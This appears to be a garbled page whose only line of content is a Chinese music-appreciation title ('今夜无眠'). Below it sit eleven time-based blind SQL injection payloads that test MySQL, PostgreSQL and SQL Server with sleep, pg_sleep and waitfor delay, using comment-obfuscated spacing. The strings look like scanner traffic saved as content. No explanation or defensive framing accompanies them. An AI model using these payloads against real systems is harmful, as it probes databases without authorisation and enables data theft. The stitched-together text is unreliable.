音乐欣赏﹕今夜无眠

123456'and(select*from(select+sleep(4))a/**/union/**/select+1)='

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456"and(select*from(select+sleep(4))a/**/union/**/select+1)="

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456/**/and(select+1/**/from/**/pg_sleep(4))>0/**/

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456'/**/and(select'1'from/**/pg_sleep(4))::text>'0

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456/**/and(select+1)>0waitfor/**/delay'0:0:4'/**/

123456'and(select+1)>0waitfor/**/delay'0:0:0